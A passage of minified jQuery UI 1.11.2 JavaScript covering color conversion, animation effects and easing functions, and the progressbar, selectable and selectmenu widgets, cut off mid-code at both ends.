t,i,s=e[0]/255,n=e[1]/255,a=e[2]/255,o=e[3],r=Math.max(s,n,a),h=Math.min(s,n,a),l=r-h,u=r+h,d=.5*u;return t=h===r?0:s===r?60*(n-a)/l+360:n===r?60*(a-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=d?l/u:l/(2-u),[Math.round(t)%360,i,d,null==o?1:o]},u.hsla.from=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/360,i=e[1],s=e[2],a=e[3],o=.5>=s?s*(1+i):s+i-s*i,r=2*s-o;return[Math.round(255*n(r,o,t+1/3)),Math.round(255*n(r,o,t)),Math.round(255*n(r,o,t-1/3)),a]},f(u,function(s,n){var a=n.props,o=n.cache,h=n.to,u=n.from;l.fn[s]=function(s){if(h&&!this[o]&&(this[o]=h(this._rgba)),s===t)return this[o].slice();var n,r=e.type(s),d="array"===r||"object"===r?s:arguments,c=this[o].slice();return f(a,function(e,t){var s=d["object"===r?e:t.idx];null==s&&(s=c[t.idx]),c[t.idx]=i(s,t)}),u?(n=l(u(c)),n[o]=c,n):l(c)},f(a,function(t,i){l.fn[t]||(l.fn[t]=function(n){var a,o=e.type(n),h="alpha"===t?this._hsla?"hsla":"rgba":s,l=this[h](),u=l[i.idx];return"undefined"===o?u:("function"===o&&(n=n.call(this,u),o=e.type(n)),null==n&&i.empty?this:("string"===o&&(a=r.exec(n),a&&(n=u+parseFloat(a[2])*("+"===a[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(t){var i=t.split(" ");f(i,function(t,i){e.cssHooks[i]={set:function(t,n){var a,o,r="";if("transparent"!==n&&("string"!==e.type(n)||(a=s(n)))){if(n=l(a||n),!c.rgba&&1!==n._rgba[3]){for(o="backgroundColor"===i?t.parentNode:t;(""===r||"transparent"===r)&&o&&o.style;)try{r=e.css(o,"backgroundColor"),o=o.parentNode}catch(h){}n=n.blend(r&&"transparent"!==r?r:"_default")}n=n.toRgbaString()}try{t.style[i]=n}catch(h){}}},e.fx.step[i]=function(t){t.colorInit||(t.start=l(t.elem,i),t.end=l(t.end),t.colorInit=!0),e.cssHooks[i].set(t.elem,t.start.transition(t.end,t.pos))}})},l.hook(o),e.cssHooks.borderColor={expand:function(e){var t={};return f(["Top","Right","Bottom","Left"],function(i,s){t["border"+s+"Color"]=e}),t}},a=e.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}(b),function(){function t(t){var i,s,n=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,a={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],"string"==typeof n[i]&&(a[e.camelCase(i)]=n[i]);else for(i in n)"string"==typeof n[i]&&(a[i]=n[i]);return a}function i(t,i){var s,a,o={};for(s in i)a=i[s],t[s]!==a&&(n[s]||(e.fx.step[s]||!isNaN(parseFloat(a)))&&(o[s]=a));return o}var s=["add","remove","toggle"],n={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};e.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,i){e.fx.step[i]=function(e){("none"!==e.end&&!e.setAttr||1===e.pos&&!e.setAttr)&&(b.style(e.elem,i,e.end),e.setAttr=!0)}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e.effects.animateClass=function(n,a,o,r){var h=e.speed(a,o,r);return this.queue(function(){var a,o=e(this),r=o.attr("class")||"",l=h.children?o.find("*").addBack():o;l=l.map(function(){var i=e(this);return{el:i,start:t(this)}}),a=function(){e.each(s,function(e,t){n[t]&&o[t+"Class"](n[t])})},a(),l=l.map(function(){return this.end=t(this.el[0]),this.diff=i(this.start,this.end),this}),o.attr("class",r),l=l.map(function(){var t=this,i=e.Deferred(),s=e.extend({},h,{queue:!1,complete:function(){i.resolve(t)}});return this.el.animate(this.diff,s),i.promise()}),e.when.apply(e,l.get()).done(function(){a(),e.each(arguments,function(){var t=this.el;e.each(this.diff,function(e){t.css(e,"")})}),h.complete.call(o[0])})})},e.fn.extend({addClass:function(t){return function(i,s,n,a){return s?e.effects.animateClass.call(this,{add:i},s,n,a):t.apply(this,arguments)}}(e.fn.addClass),removeClass:function(t){return function(i,s,n,a){return arguments.length>1?e.effects.animateClass.call(this,{remove:i},s,n,a):t.apply(this,arguments)}}(e.fn.removeClass),toggleClass:function(t){return function(i,s,n,a,o){return"boolean"==typeof s||void 0===s?n?e.effects.animateClass.call(this,s?{add:i}:{remove:i},n,a,o):t.apply(this,arguments):e.effects.animateClass.call(this,{toggle:i},s,n,a)}}(e.fn.toggleClass),switchClass:function(t,i,s,n,a){return e.effects.animateClass.call(this,{add:i,remove:t},s,n,a)}})}(),function(){function t(t,i,s,n){return e.isPlainObject(t)&&(i=t,t=t.effect),t={effect:t},null==i&&(i={}),e.isFunction(i)&&(n=i,s=null,i={}),("number"==typeof i||e.fx.speeds[i])&&(n=s,s=i,i={}),e.isFunction(s)&&(n=s,s=null),i&&e.extend(t,i),s=s||i.duration,t.duration=e.fx.off?0:"number"==typeof s?s:s in e.fx.speeds?e.fx.speeds[s]:e.fx.speeds._default,t.complete=n||i.complete,t}function i(t){return!t||"number"==typeof t||e.fx.speeds[t]?!0:"string"!=typeof t||e.effects.effect[t]?e.isFunction(t)?!0:"object"!=typeof t||t.effect?!1:!0:!0}e.extend(e.effects,{version:"1.11.2",save:function(e,t){for(var i=0;t.length>i;i++)null!==t[i]&&e.data(y+t[i],e[0].style[t[i]])},restore:function(e,t){var i,s;for(s=0;t.length>s;s++)null!==t[s]&&(i=e.data(y+t[s]),void 0===i&&(i=""),e.css(t[s],i))},setMode:function(e,t){return"toggle"===t&&(t=e.is(":hidden")?"show":"hide"),t},getBaseline:function(e,t){var i,s;switch(e[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=e[0]/t.height}switch(e[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=e[1]/t.width}return{x:s,y:i}},createWrapper:function(t){if(t.parent().is(".ui-effects-wrapper"))return t.parent();var i={width:t.outerWidth(!0),height:t.outerHeight(!0),"float":t.css("float")},s=e("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),n={width:t.width(),height:t.height()},a=document.activeElement;try{a.id}catch(o){a=document.body}return t.wrap(s),(t[0]===a||e.contains(t[0],a))&&e(a).focus(),s=t.parent(),"static"===t.css("position")?(s.css({position:"relative"}),t.css({position:"relative"})):(e.extend(i,{position:t.css("position"),zIndex:t.css("z-index")}),e.each(["top","left","bottom","right"],function(e,s){i[s]=t.css(s),isNaN(parseInt(i[s],10))&&(i[s]="auto")}),t.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),t.css(n),s.css(i).show()},removeWrapper:function(t){var i=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),(t[0]===i||e.contains(t[0],i))&&e(i).focus()),t},setTransition:function(t,i,s,n){return n=n||{},e.each(i,function(e,i){var a=t.cssUnit(i);a[0]>0&&(n[i]=a[0]*s+a[1])}),n}}),e.fn.extend({effect:function(){function i(t){function i(){e.isFunction(a)&&a.call(n[0]),e.isFunction(t)&&t()}var n=e(this),a=s.complete,r=s.mode;(n.is(":hidden")?"hide"===r:"show"===r)?(n[r](),i()):o.call(n[0],s,i)}var s=t.apply(this,arguments),n=s.mode,a=s.queue,o=e.effects.effect[s.effect];return e.fx.off||!o?n?this[n](s.duration,s.complete):this.each(function(){s.complete&&s.complete.call(this)}):a===!1?this.each(i):this.queue(a||"fx",i)},show:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="show",this.effect.call(this,n)}}(e.fn.show),hide:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="hide",this.effect.call(this,n)}}(e.fn.hide),toggle:function(e){return function(s){if(i(s)||"boolean"==typeof s)return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="toggle",this.effect.call(this,n)}}(e.fn.toggle),cssUnit:function(t){var i=this.css(t),s=[];return e.each(["em","px","%","pt"],function(e,t){i.indexOf(t)>0&&(s=[parseFloat(i),t])}),s}})}(),function(){var t={};e.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,i){t[i]=function(t){return Math.pow(t,e+2)}}),e.extend(t,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return 0===e||1===e?e:-Math.pow(2,8*(e-1))*Math.sin((80*(e-1)-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(e){for(var t,i=4;((t=Math.pow(2,--i))-1)/11>e;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*t-2)/22-e,2)}}),e.each(t,function(t,i){e.easing["easeIn"+t]=i,e.easing["easeOut"+t]=function(e){return 1-i(1-e)},e.easing["easeInOut"+t]=function(e){return.5>e?i(2*e)/2:1-i(-2*e+2)/2}})}(),e.effects,e.effects.effect.blind=function(t,i){var s,n,a,o=e(this),r=/up|down|vertical/,h=/up|left|vertical|horizontal/,l=["position","top","bottom","left","right","height","width"],u=e.effects.setMode(o,t.mode||"hide"),d=t.direction||"up",c=r.test(d),p=c?"height":"width",f=c?"top":"left",m=h.test(d),g={},v="show"===u;o.parent().is(".ui-effects-wrapper")?e.effects.save(o.parent(),l):e.effects.save(o,l),o.show(),s=e.effects.createWrapper(o).css({overflow:"hidden"}),n=s[p](),a=parseFloat(s.css(f))||0,g[p]=v?n:0,m||(o.css(c?"bottom":"right",0).css(c?"top":"left","auto").css({position:"absolute"}),g[f]=v?a:n+a),v&&(s.css(p,0),m||s.css(f,a+n)),s.animate(g,{duration:t.duration,easing:t.easing,queue:!1,complete:function(){"hide"===u&&o.hide(),e.effects.restore(o,l),e.effects.removeWrapper(o),i()}})},e.effects.effect.bounce=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","height","width"],h=e.effects.setMode(o,t.mode||"effect"),l="hide"===h,u="show"===h,d=t.direction||"up",c=t.distance,p=t.times||5,f=2*p+(u||l?1:0),m=t.duration/f,g=t.easing,v="up"===d||"down"===d?"top":"left",y="up"===d||"left"===d,b=o.queue(),_=b.length;for((u||l)&&r.push("opacity"),e.effects.save(o,r),o.show(),e.effects.createWrapper(o),c||(c=o["top"===v?"outerHeight":"outerWidth"]()/3),u&&(a={opacity:1},a[v]=0,o.css("opacity",0).css(v,y?2*-c:2*c).animate(a,m,g)),l&&(c/=Math.pow(2,p-1)),a={},a[v]=0,s=0;p>s;s++)n={},n[v]=(y?"-=":"+=")+c,o.animate(n,m,g).animate(a,m,g),c=l?2*c:c/2;l&&(n={opacity:0},n[v]=(y?"-=":"+=")+c,o.animate(n,m,g)),o.queue(function(){l&&o.hide(),e.effects.restore(o,r),e.effects.removeWrapper(o),i()}),_>1&&b.splice.apply(b,[1,0].concat(b.splice(_,f+1))),o.dequeue()},e.effects.effect.clip=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","height","width"],h=e.effects.setMode(o,t.mode||"hide"),l="show"===h,u=t.direction||"vertical",d="vertical"===u,c=d?"height":"width",p=d?"top":"left",f={};e.effects.save(o,r),o.show(),s=e.effects.createWrapper(o).css({overflow:"hidden"}),n="IMG"===o[0].tagName?s:o,a=n[c](),l&&(n.css(c,0),n.css(p,a/2)),f[c]=l?a:0,f[p]=l?0:a/2,n.animate(f,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){l||o.hide(),e.effects.restore(o,r),e.effects.removeWrapper(o),i()}})},e.effects.effect.drop=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","opacity","height","width"],o=e.effects.setMode(n,t.mode||"hide"),r="show"===o,h=t.direction||"left",l="up"===h||"down"===h?"top":"left",u="up"===h||"left"===h?"pos":"neg",d={opacity:r?1:0};e.effects.save(n,a),n.show(),e.effects.createWrapper(n),s=t.distance||n["top"===l?"outerHeight":"outerWidth"](!0)/2,r&&n.css("opacity",0).css(l,"pos"===u?-s:s),d[l]=(r?"pos"===u?"+=":"-=":"pos"===u?"-=":"+=")+s,n.animate(d,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}})},e.effects.effect.explode=function(t,i){function s(){b.push(this),b.length===d*c&&n()}function n(){p.css({visibility:"visible"}),e(b).remove(),m||p.hide(),i()}var a,o,r,h,l,u,d=t.pieces?Math.round(Math.sqrt(t.pieces)):3,c=d,p=e(this),f=e.effects.setMode(p,t.mode||"hide"),m="show"===f,g=p.show().css("visibility","hidden").offset(),v=Math.ceil(p.outerWidth()/c),y=Math.ceil(p.outerHeight()/d),b=[];for(a=0;d>a;a++)for(h=g.top+a*y,u=a-(d-1)/2,o=0;c>o;o++)r=g.left+o*v,l=o-(c-1)/2,p.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-o*v,top:-a*y}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:v,height:y,left:r+(m?l*v:0),top:h+(m?u*y:0),opacity:m?0:1}).animate({left:r+(m?0:l*v),top:h+(m?0:u*y),opacity:m?1:0},t.duration||500,t.easing,s)},e.effects.effect.fade=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||"toggle");s.animate({opacity:n},{queue:!1,duration:t.duration,easing:t.easing,complete:i})},e.effects.effect.fold=function(t,i){var s,n,a=e(this),o=["position","top","bottom","left","right","height","width"],r=e.effects.setMode(a,t.mode||"hide"),h="show"===r,l="hide"===r,u=t.size||15,d=/([0-9]+)%/.exec(u),c=!!t.horizFirst,p=h!==c,f=p?["width","height"]:["height","width"],m=t.duration/2,g={},v={};e.effects.save(a,o),a.show(),s=e.effects.createWrapper(a).css({overflow:"hidden"}),n=p?[s.width(),s.height()]:[s.height(),s.width()],d&&(u=parseInt(d[1],10)/100*n[l?0:1]),h&&s.css(c?{height:0,width:u}:{height:u,width:0}),g[f[0]]=h?n[0]:u,v[f[1]]=h?n[1]:0,s.animate(g,m,t.easing).animate(v,m,t.easing,function(){l&&a.hide(),e.effects.restore(a,o),e.effects.removeWrapper(a),i()})},e.effects.effect.highlight=function(t,i){var s=e(this),n=["backgroundImage","backgroundColor","opacity"],a=e.effects.setMode(s,t.mode||"show"),o={backgroundColor:s.css("backgroundColor")};"hide"===a&&(o.opacity=0),e.effects.save(s,n),s.show().css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(o,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===a&&s.hide(),e.effects.restore(s,n),i()}})},e.effects.effect.size=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","width","height","overflow","opacity"],h=["position","top","bottom","left","right","overflow","opacity"],l=["width","height","overflow"],u=["fontSize"],d=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],c=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],p=e.effects.setMode(o,t.mode||"effect"),f=t.restore||"effect"!==p,m=t.scale||"both",g=t.origin||["middle","center"],v=o.css("position"),y=f?r:h,b={height:0,width:0,outerHeight:0,outerWidth:0};"show"===p&&o.show(),s={height:o.height(),width:o.width(),outerHeight:o.outerHeight(),outerWidth:o.outerWidth()},"toggle"===t.mode&&"show"===p?(o.from=t.to||b,o.to=t.from||s):(o.from=t.from||("show"===p?b:s),o.to=t.to||("hide"===p?b:s)),a={from:{y:o.from.height/s.height,x:o.from.width/s.width},to:{y:o.to.height/s.height,x:o.to.width/s.width}},("box"===m||"both"===m)&&(a.from.y!==a.to.y&&(y=y.concat(d),o.from=e.effects.setTransition(o,d,a.from.y,o.from),o.to=e.effects.setTransition(o,d,a.to.y,o.to)),a.from.x!==a.to.x&&(y=y.concat(c),o.from=e.effects.setTransition(o,c,a.from.x,o.from),o.to=e.effects.setTransition(o,c,a.to.x,o.to))),("content"===m||"both"===m)&&a.from.y!==a.to.y&&(y=y.concat(u).concat(l),o.from=e.effects.setTransition(o,u,a.from.y,o.from),o.to=e.effects.setTransition(o,u,a.to.y,o.to)),e.effects.save(o,y),o.show(),e.effects.createWrapper(o),o.css("overflow","hidden").css(o.from),g&&(n=e.effects.getBaseline(g,s),o.from.top=(s.outerHeight-o.outerHeight())*n.y,o.from.left=(s.outerWidth-o.outerWidth())*n.x,o.to.top=(s.outerHeight-o.to.outerHeight)*n.y,o.to.left=(s.outerWidth-o.to.outerWidth)*n.x),o.css(o.from),("content"===m||"both"===m)&&(d=d.concat(["marginTop","marginBottom"]).concat(u),c=c.concat(["marginLeft","marginRight"]),l=r.concat(d).concat(c),o.find("*[width]").each(function(){var i=e(this),s={height:i.height(),width:i.width(),outerHeight:i.outerHeight(),outerWidth:i.outerWidth()};
f&&e.effects.save(i,l),i.from={height:s.height*a.from.y,width:s.width*a.from.x,outerHeight:s.outerHeight*a.from.y,outerWidth:s.outerWidth*a.from.x},i.to={height:s.height*a.to.y,width:s.width*a.to.x,outerHeight:s.height*a.to.y,outerWidth:s.width*a.to.x},a.from.y!==a.to.y&&(i.from=e.effects.setTransition(i,d,a.from.y,i.from),i.to=e.effects.setTransition(i,d,a.to.y,i.to)),a.from.x!==a.to.x&&(i.from=e.effects.setTransition(i,c,a.from.x,i.from),i.to=e.effects.setTransition(i,c,a.to.x,i.to)),i.css(i.from),i.animate(i.to,t.duration,t.easing,function(){f&&e.effects.restore(i,l)})})),o.animate(o.to,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){0===o.to.opacity&&o.css("opacity",o.from.opacity),"hide"===p&&o.hide(),e.effects.restore(o,y),f||("static"===v?o.css({position:"relative",top:o.to.top,left:o.to.left}):e.each(["top","left"],function(e,t){o.css(t,function(t,i){var s=parseInt(i,10),n=e?o.to.left:o.to.top;return"auto"===i?n+"px":s+n+"px"})})),e.effects.removeWrapper(o),i()}})},e.effects.effect.scale=function(t,i){var s=e(this),n=e.extend(!0,{},t),a=e.effects.setMode(s,t.mode||"effect"),o=parseInt(t.percent,10)||(0===parseInt(t.percent,10)?0:"hide"===a?0:100),r=t.direction||"both",h=t.origin,l={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()},u={y:"horizontal"!==r?o/100:1,x:"vertical"!==r?o/100:1};n.effect="size",n.queue=!1,n.complete=i,"effect"!==a&&(n.origin=h||["middle","center"],n.restore=!0),n.from=t.from||("show"===a?{height:0,width:0,outerHeight:0,outerWidth:0}:l),n.to={height:l.height*u.y,width:l.width*u.x,outerHeight:l.outerHeight*u.y,outerWidth:l.outerWidth*u.x},n.fade&&("show"===a&&(n.from.opacity=0,n.to.opacity=1),"hide"===a&&(n.from.opacity=1,n.to.opacity=0)),s.effect(n)},e.effects.effect.puff=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||"hide"),a="hide"===n,o=parseInt(t.percent,10)||150,r=o/100,h={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()};e.extend(t,{effect:"scale",queue:!1,fade:!0,mode:n,complete:i,percent:a?o:100,from:a?h:{height:h.height*r,width:h.width*r,outerHeight:h.outerHeight*r,outerWidth:h.outerWidth*r}}),s.effect(t)},e.effects.effect.pulsate=function(t,i){var s,n=e(this),a=e.effects.setMode(n,t.mode||"show"),o="show"===a,r="hide"===a,h=o||"hide"===a,l=2*(t.times||5)+(h?1:0),u=t.duration/l,d=0,c=n.queue(),p=c.length;for((o||!n.is(":visible"))&&(n.css("opacity",0).show(),d=1),s=1;l>s;s++)n.animate({opacity:d},u,t.easing),d=1-d;n.animate({opacity:d},u,t.easing),n.queue(function(){r&&n.hide(),i()}),p>1&&c.splice.apply(c,[1,0].concat(c.splice(p,l+1))),n.dequeue()},e.effects.effect.shake=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","height","width"],o=e.effects.setMode(n,t.mode||"effect"),r=t.direction||"left",h=t.distance||20,l=t.times||3,u=2*l+1,d=Math.round(t.duration/u),c="up"===r||"down"===r?"top":"left",p="up"===r||"left"===r,f={},m={},g={},v=n.queue(),y=v.length;for(e.effects.save(n,a),n.show(),e.effects.createWrapper(n),f[c]=(p?"-=":"+=")+h,m[c]=(p?"+=":"-=")+2*h,g[c]=(p?"-=":"+=")+2*h,n.animate(f,d,t.easing),s=1;l>s;s++)n.animate(m,d,t.easing).animate(g,d,t.easing);n.animate(m,d,t.easing).animate(f,d/2,t.easing).queue(function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}),y>1&&v.splice.apply(v,[1,0].concat(v.splice(y,u+1))),n.dequeue()},e.effects.effect.slide=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","width","height"],o=e.effects.setMode(n,t.mode||"show"),r="show"===o,h=t.direction||"left",l="up"===h||"down"===h?"top":"left",u="up"===h||"left"===h,d={};e.effects.save(n,a),n.show(),s=t.distance||n["top"===l?"outerHeight":"outerWidth"](!0),e.effects.createWrapper(n).css({overflow:"hidden"}),r&&n.css(l,u?isNaN(s)?"-"+s:-s:s),d[l]=(r?u?"+=":"-=":u?"-=":"+=")+s,n.animate(d,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}})},e.effects.effect.transfer=function(t,i){var s=e(this),n=e(t.to),a="fixed"===n.css("position"),o=e("body"),r=a?o.scrollTop():0,h=a?o.scrollLeft():0,l=n.offset(),u={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},d=s.offset(),c=e("<div class='ui-effects-transfer'></div>").appendTo(document.body).addClass(t.className).css({top:d.top-r,left:d.left-h,height:s.innerHeight(),width:s.innerWidth(),position:a?"fixed":"absolute"}).animate(u,t.duration,t.easing,function(){c.remove(),i()})},e.widget("ui.progressbar",{version:"1.11.2",options:{max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min}),this.valueDiv=e("<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>").appendTo(this.element),this._refreshValue()},_destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.valueDiv.remove()},value:function(e){return void 0===e?this.options.value:(this.options.value=this._constrainedValue(e),this._refreshValue(),void 0)},_constrainedValue:function(e){return void 0===e&&(e=this.options.value),this.indeterminate=e===!1,"number"!=typeof e&&(e=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var t=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(t),this._refreshValue()},_setOption:function(e,t){"max"===e&&(t=Math.max(this.min,t)),"disabled"===e&&this.element.toggleClass("ui-state-disabled",!!t).attr("aria-disabled",t),this._super(e,t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).toggleClass("ui-corner-right",t===this.options.max).width(i.toFixed(0)+"%"),this.element.toggleClass("ui-progressbar-indeterminate",this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=e("<div class='ui-progressbar-overlay'></div>").appendTo(this.valueDiv))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger("change")),t===this.options.max&&this._trigger("complete")}}),e.widget("ui.selectable",e.ui.mouse,{version:"1.11.2",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass("ui-selectee"),t.each(function(){var t=e(this),i=t.offset();e.data(this,"selectable-item",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=t.addClass("ui-selectee"),this._mouseInit(),this.helper=e("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger("start",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=e.data(this,"selectable-item");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,n=e.data(this,"selectable-item");return n?(s=!t.metaKey&&!t.ctrlKey||!n.$element.hasClass("ui-selected"),n.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",t,{selecting:n.element}):i._trigger("unselecting",t,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,a=this.opos[0],o=this.opos[1],r=t.pageX,h=t.pageY;return a>r&&(i=r,r=a,a=i),o>h&&(i=h,h=o,o=i),this.helper.css({left:a,top:o,width:r-a,height:h-o}),this.selectees.each(function(){var i=e.data(this,"selectable-item"),l=!1;i&&i.element!==s.element[0]&&("touch"===n.tolerance?l=!(i.left>r||a>i.right||i.top>h||o>i.bottom):"fit"===n.tolerance&&(l=i.left>a&&r>i.right&&i.top>o&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",t,{unselected:s.element})}),e(".ui-selecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",t,{selected:s.element})}),this._trigger("stop",t),this.helper.remove(),!1}}),e.widget("ui.selectmenu",{version:"1.11.2",defaultElement:"<select>",options:{appendTo:null,disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:null,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr("id");this.ids={element:e,button:e+"-button",menu:e+"-menu"},this._drawButton(),this._drawMenu(),this.options.disabled&&this.disable()},_drawButton:function(){var t=this,i=this.element.attr("tabindex");this.label=e("label[for='"+this.ids.element+"']").attr("for",this.ids.button),this._on(this.label,{click:function(e){this.button.focus(),e.preventDefault()}}),this.element.hide(),this.button=e("<span>",{"class":"ui-selectmenu-button ui-widget ui-state-default ui-corner-all",tabindex:i||this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true"}).insertAfter(this.element),e("<span>",{"class":"ui-icon "+this.options.icons.button}).prependTo(this.button),this.buttonText=e("<span>",{"class":"ui-selectmenu-text"}).appendTo(this.button),this._setText(this.buttonText,this.element.find("option:selected").text()),this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){t.menuItems||t._refreshMenu()}),this._hoverable(this.button),this._focusable(this.button)},_drawMenu:function(){var t=this;this.menu=e("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=e("<div>",{"class":"ui-selectmenu-menu ui-front"}).append(this.menu).appendTo(this._appendTo()),this.menuInstance=this.menu.menu({role:"listbox",select:function(e,i){e.preventDefault(),t._setSelection(),t._select(i.item.data("ui-selectmenu-item"),e)},focus:function(e,i){var 